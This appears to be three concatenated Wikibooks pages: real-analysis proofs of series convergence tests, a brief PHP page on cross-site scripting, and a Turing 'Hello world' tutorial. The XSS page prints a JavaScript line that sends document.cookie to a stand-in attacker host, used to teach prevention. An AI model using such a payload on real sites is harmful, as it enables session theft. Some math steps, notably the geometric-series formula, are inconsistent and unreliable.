Since $$\textstyle\lim_{n \rightarrow \infty} \left|\frac{x_{n+1}}{x_n}\right| = r $$, we can choose an N so that | |xn+1/xn| − r| < ε/2 for all n ≥ N. In particular, if n ≥ N, then |xn+1|/|xn| < r + ε/2. Notice that our particular choice of ε guarantees that the ratio r + ε/2 is less than 1. Thus
 * $$ \sum_{n=1}^{\infty} |x_n| $$ = $$ \sum_{n=1}^{N} |x_n| + \sum_{n=N+1}^{\infty} |x_n|$$

 * $$ = \sum_{n=1}^N |x_n| + \sum_{n=N+1}^{\infty} |x_N|\frac{|x_{N+1}|}{|x_N|}\frac{|x_{N+2}|}{|x_{N+1}|}\cdots\frac{|x_{n}|}{|x_{n-1}|}$$

 * $$\leq \sum_{n=1}^N |x_n| + |x_N|\sum_{n=N+1}^{\infty}(r + \frac{\epsilon}{2})^{n-N}.$$

The last series converges because it is a geometric series whose ratio, r + ε/2, is less than 1.

By the comparison test, $$\textstyle\sum_{n=1}^{\infty} |x_n| $$ converges. Thus $$\textstyle\sum_{n=1}^{\infty} x_n $$ converges absolutely. $$\Box$$

The next theorem, the root test, is stronger than the ratio test in the sense that it works whenever the ratio test works (and returns the same number r), and it sometimes works even when the ratio test does not.

Theorem (Root Test)
Let $$R = \limsup_{n\rightarrow\infty}(|a_n|^{\frac{1}{n}})$$. If R < 1, then the series $$\sum_{n=1}^{\infty}a_n$$ converges absolutely. If R > 1, then it diverges.

Proof
If R<1, let $$R<\rho<1$$. Since $$\limsup_{n\rightarrow\infty}(|a_n|^{\frac{1}{n}}) = R$$ $$\exists N: \forall n \geq N:  |\sup\{|a_k|^{\frac{1}{k}}|k > n\} - R| < \rho - R$$.

That is, $$\forall n \geq N: \sup\{|a_k|^{\frac{1}{k}}|k > n\} < \rho$$

Thus $$\sum_{n=1}^{\infty}|a_n| $$$$= \sum_{n=1}^{\infty}(|a_n|^{\frac{1}{n}})^n $$$$= \sum_{n=1}^{N-1}|a_n| + \sum_{n=N}^{\infty}(|a_n|^{\frac{1}{n}})^n $$$$ < \sum_{n=1}^{N-1}|a_n| + \sum_{n=N}^{\infty}(\sup\{|a_k|^{\frac{1}{k}}|k > n \})^n $$$$< \sum_{n=1}^{N-1}|a_n| + \sum_{n=N}^{\infty}(\rho)^n$$, which converges since it is a constant plus a geometric series.

By the comparison test, $$\sum_{n=1}^{\infty}|a_n| $$ converges as well. Thus $$\sum_{n=1}^{\infty}a_n $$ converges absolutely.

If R > 1, then $$\sup\{|a_n|^{\frac{1}{n}} | k>n\} > 1$$. Thus there are infinitely many n such that $$|a_n|^{\frac{1}{n}} > 1 \implies |a_n| > 1 $$.

Thus $$ (a_n) \not\rightarrow 0$$, which implies that $$\sum_{n=1}^{\infty}a_n$$ diverges. $$\Box$$

We'll often be asked to consider series of the form $$\sum_{n=1}^{\infty} a_nb_n $$. The following theorems give criteria for convergence of these series.

Theorem (Dirichlet's Test)
If the partial sums $$\sum_{n=1}^{N}x_n$$ are bounded, and $$(y_n)$$ is a decreasing sequence with $$\lim_{n\rightarrow\infty} y_n = 0$$, then $$\sum_{n=1}^{\infty}x_ny_n$$ converges. [Note: $$\sum_{n=1}^{\infty}x_n$$ need not converge]

Proof
Let $$s_n = \sum_{m=1}^n x_m$$ be the $$n$$th partial sum, so that there exists $$B>0$$ such that $$|s_n| \le B$$.

We can write

$$\sum_{n=1}^N x_ny_n = x_1y_1 + \sum_{n=2}^N (s_n-s_{n-1})y_n = x_1y_1 + \sum_{n=2}^N s_ny_n - \sum_{n=2}^N s_{n-1}y_n$$.

Changing the index of summation in the last sum, this becomes

$$\sum_{n=1}^N x_ny_n = x_1y_1 + \sum_{n=2}^N s_ny_n - \sum_{n=1}^{N-1} s_ny_{n+1} = x_1y_1 - x_1y_2 + \sum_{n=2}^{N-1} s_n(y_n-y_{n+1}) + s_Ny_N$$.

The sum on the right-hand side is bounded absolutely by the telescoping sum

$$\sum_{n=2}^{N-1} |s_n(y_n-y_{n+1})| \le B \sum_{n=2}^{N-1} (y_n-y_{n+1}) = B(y_2-y_N) \le By_2$$;

here we have used the fact that $$(y_n)$$ is positive and decreasing. It follows that

$$\sum_{n=2}^\infty s_n(y_n-y_{n+1})$$ is absolutely convergent, hence convergent.

Notice that $$\lim_{N\to\infty} s_Ny_N = 0$$ since $$s_N$$ is bounded and $$(y_n)$$ tends to 0 as $$n$$ tends to infinity. Therefore we can take limits as $$N$$ goes to infinity:

$$\sum_{n=1}^\infty x_ny_n = x_1y_1 - x_1y_2 + \sum_{n=2}^\infty s_n(y_n-y_{n+1}) + \lim_{N\to\infty} s_Ny_N = x_1y_1 - x_1y_2 + \sum_{n=2}^\infty s_n(y_n-y_{n+1})$$,

which proves that the left-hand side is convergent.

Abel's Test can be regarded as a special case of Dirichlet's Test, once some modifications have been made:

Theorem (Abel's Test)
If $$\sum_{n=1}^{\infty}x_n$$ converges and $$(y_n)$$ is a positive, decreasing sequence, then $$\sum_{n=1}^{\infty}x_ny_n$$ converges.

Proof
Because $$(y_n)$$ is a bounded, monotone sequence, it converges to some limit y.

Let $$z_n = y_n - y$$. Then $$\sum_{n=1}^{\infty}x_n$$ and $$(z_n)$$ satisfy the conditions for Dirichlet's test.

$$\sum_{n=1}^{k}x_ny_n$$$$ = y\sum_{n=1}^{k}x_n + \sum_{n=1}^{k}x_nz_n$$. By Dirichlet's test, $$\sum_{n=1}^{k}x_nz_n$$ converges as $$k \rightarrow \infty$$.

Since both sums on the right converge, $$\sum_{n=1}^{\infty}x_ny_n$$ converges as well. $$\Box$$

Examples with Proof
Now we'll do the computations promised in the Examples, plus a few extra.

Theorem (Geometric Series)
If $$|r|<1$$, the geometric series $$ \sum_{n=1}^{\infty} a r^n = \frac{a}{1-r}$$. If $$|r| \geq 1$$, the series diverges.

Proof
In this case, it is best to explicitly compute the partial sums and take the limit. Without loss of generality, we'll consider the case $$a = 1$$. Then we can apply the theorem on algebraic operations to obtain the general result.

Note that $$s_n(1-r) = (1 + r + r^2 + ... + r^n)(1-r) = (1 + r + r^2 + ... + r^n) - (r + r^2 + ... + r^{n+1}) = 1 - r^{n+1}$$

Thus $$ s_n = \frac{1-r^n}{1-r} $$. Taking the limit (and remembering some basic facts about sequences):

If $$|r| < 1$$, $$\sum_{n=1}^{\infty} r^n = \lim_{n \rightarrow \infty} s_n = \lim_{n \rightarrow \infty} \frac{1-r^n}{1-r} = \frac{1}{1-r}$$.

If $$|r| \geq 1$$, the sequence of partial sums diverges to infinity, and thus by definition the series diverges.

This proof seems to work except for the fact that this series will converge to $$\frac{a} {1-r}$$ $$\Box$$

Theorem (p-series)
The p-series $$\sum_{n=1}^{\infty} \frac{1}{n^p}$$ converges for $$p>1$$ and diverges for $$0<p\le 1$$. [Note: We have technically only defined this series for p rational. However, the theorem is still valid when p is irrational, for the same reasons]

Proof
First we'll consider the special cases $$p = 1, p = 2$$, and then obtain the general result from these.

 * If p = 1, let $$x_n$$ be the greatest power of 2 less than $$\frac{1}{n}$$. That is, $$(x_n) = (\frac{1}{2}, \frac{1}{4},\frac{1}{4}, \frac{1}{8}, \frac{1}{8},\frac{1}{8},\frac{1}{8},\dots)$$.

Grouping like terms together, $$\sum_{i=1}^{\infty} x_n$$$$ = \sum_{i=0}^{\infty}(\sum_{j=2^i}^{2^{i+1}-1}x_j) $$$$ = \sum_{i=0}^{\infty}(\sum_{j=2^i}^{2^{i+1}-1} \frac{1}{2^{i+1}}) $$$$= \sum_{i=1}^{\infty} \frac{1}{2}$$, which diverges.

By definition, $$x_n < \frac{1}{n}$$, so by the comparison test $$ \sum_{n=1}^{\infty} \frac{1}{n}$$ diverges.

 * If p = 2, let $$x_n = \frac{1}{n(n-1)} = \frac{1}{n-1} - \frac{1}{n}$$ if n>1 and 1 if n=1.

Using the theorem on telescoping series, $$\sum_{n=1}^{\infty} x_n$$$$ = 1 + \sum_{n=2}^{\infty}(\frac{1}{n-1} - \frac{1}{n})$$$$ = 1 + 1 - \lim_{n\rightarrow\infty}(1/n) = 2$$

By definition, $$x_n > \frac{1}{n \cdot n} = \frac{1}{n^2}$$, so by the comparison test $$\sum_{n=1}^{\infty} \frac{1}{n^2}$$ converges as well.

 * If 0 < p < 1, then $$\frac{1}{n^p} > \frac{1}{n}$$. By the comparison test $$\sum_{n=1}^{\infty} \frac{1}{n^p}$$ diverges.

Theorem (Decimal Expansions)
Given any real number x, $$0<x<1$$ there is a unique sequence $$(x_n): \sum_{n=0}^{\infty} \frac{x_n}{10^n} = x$$, $$0 \leq x_n<10$$ and $$\forall N: \exists n \geq N: x_n \not= 9$$

Proof
Inductively, assume that there exist $$x_0, x_1, \dots, x_k$$ such that $$\sum_{n=0}^{k} \frac{x_n}{10^n} \leq x < \sum_{n=0}^{k} \frac{x_n}{10^n} + \frac{1}{10^k}$$.

Rearranging, we see that $$0 \leq x - \sum_{n=0}^{k} \frac{x_n}{10^n} < \frac{1}{10^k}$$, or $$0 \leq (x - \sum_{n=0}^{k} \frac{x_n}{10^n})10^{k+1} < 10$$.

Let $$x_{k+1}$$ by the greatest integer such that $$x_{k+1} \leq (x - \sum_{n=0}^{k} \frac{x_n}{10^n})10^{k+1}$$.

Then $$\frac{x_{k+1}}{10^{k+1}} \leq x - \sum_{n=0}^{k} \frac{x_n}{10^n} < \frac{x_{k+1}+1}{10^{k+1}}$$(otherwise, $$x_{k+1}$$ would not be the greatest).

Adding $$\sum_{n=0}^{k} \frac{x_n}{10^n}$$, we see that $$\sum_{n=0}^{k+1} \frac{x_n}{10^n} \leq x < \sum_{n=0}^{k+1} \frac{x_n}{10^n} + \frac{1}{10^{k+1}}$$.

Given $$\epsilon>0$$ pick N such that $$\epsilon > \frac{1}{10^N} $$.

Thus $$|\sum_{n=0}^{k} \frac{x_n}{10^n} -1| < \frac{1}{10^k} < \epsilon$$ for all $$k > N$$. That is, $$x = \sum_{n=0}^{\infty} \frac{x_n}{10^n} $$.

TODO: eliminate 9s, uniqueness.

Topics to come: Rearrangement of terms, Alternating Series Test, Sums of products(i.e. Abel's Test and Dirichlet's Test), Multiple Summations, Infinite Products, decimal expansions, zeta function

Definition
By a rearrangement of terms, we mean a bijection f from the natural numbers to itself. Then a rearrangement of a series $$\sum_{i=0}^\infty a_n$$ is any series $$\sum_{i=0}^\infty a_f(n)$$ where f is any rearrangement.

Theorem
If a series is absolutely convergent, then all rearrangements of terms converge to the same limit.

Theorem
If a series $$\{a_n\}$$ is conditionally convergent but not absolutely convergent, then there exists a rearrangement for any a<b such that lim inf $$\sum \limits_{i=0}^n a_n=a$$ and such that lim sup $$\sum\limits_{i=0}^n a_n=b$$

title: Real Analysis/Series


text:
PHP Programming/Cross Site Scripting Attacks

Problem
Cross site scripting (or XSS) is a basic description of a script sending sensitive information (such as cookies or other session identifiers) to other websites.

Usually, these attacks affect websites that content can be edited or added to. In most cases, session identifiers or even usernames/passwords are stored inside cookies. In the case somebody knows the session identifier, they can easily use it on their machine to do any malicious tasks that you would not be happy about.

Right now, if you are logged in on wikibooks or any other websites, go to that page and type this into the address bar: javascript:void(alert(document.cookie)) These are cookies that are sent to the website each time to identify you. Easily, if your site is not XSS proof - the cracker will write anything like this: javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie)) that will send the cookie information to their website.

Prevention
There are no chances to protect yourself from XSS attacks without removing malicious HTML/JavaScript code that would be submitted to another website.

As far, the most common way is to use htmlentities or htmlspecialchars to filter the coding so nobody would add any HTML to your site (e.g. blog comments): $message = htmlentities($message); Another way to do this is to overall create any kind of "protected mode" code, such as MediaWiki, BBCode or others that have been invented for purpose of easily styling/formatting user's content.


text:
Turing/Hello world

'''This is a very simple program. It will print text to the screen''', and then exit.

put "Hello, world!"

Pretty simple, eh? As you probably deduced,  prints text. For now, we'll be using it to output to the screen.

Next, we'll learn how to gather input from the user using. We'll also declare two variables, name and age. The program will get the user's name and age, and repeat it back to them.

var name : string %A string is text var age : nat %Natural number

put "What is your name?" get name put "" put "How old are you?" get age

put "Hello, ", name, " you are ", age, " years old!"

First, we have to declare two variables. Turing lets you declare variables anywhere in the program, but it's usually a good idea to declare them at the top.

Now why was age a natural number? Why not an integer? Well, in Turing, natural numbers are all positive integers, including zero (0,1,2,3...). Integers, however, include negative numbers as well as positive numbers. The user's age shouldn't be a negative number, so it doesn't need to be an integer.

Second, did you notice the  followed by some text? Those are called comments. They start at the percent-sign and continue until the end of the line. They are meant to be messages to you, the programmer, about your program. Turing doesn't care about them. They have no meaning except to the person reading the code, of which they may well be of great importance. It is important that you use meaningful comments. When you come back eight weeks later, or someone else reads your code, you may have no idea what that code you wrote meant.

After we have two variables set up, we proceed to ask the user their name...they have to know what to enter!

Then we say. This means, "Let the user type in a string, and store it under the variable  for later use.  Same for age.

Finally, we regurgitate the information back to the user. Make sure you put spaces before closing the quotation marks, or else there won't be any spaces before and after their name and age!

One last thing: Turing uses token-oriented input. This means that when the user inputs a space, it is treated the same as a line break. But we don't want this in our program, because what if the user enters their first and last name? Therefore, we tell turing "only get the next variable when they press enter."

To do this, replace  with

title: Turing/Hello world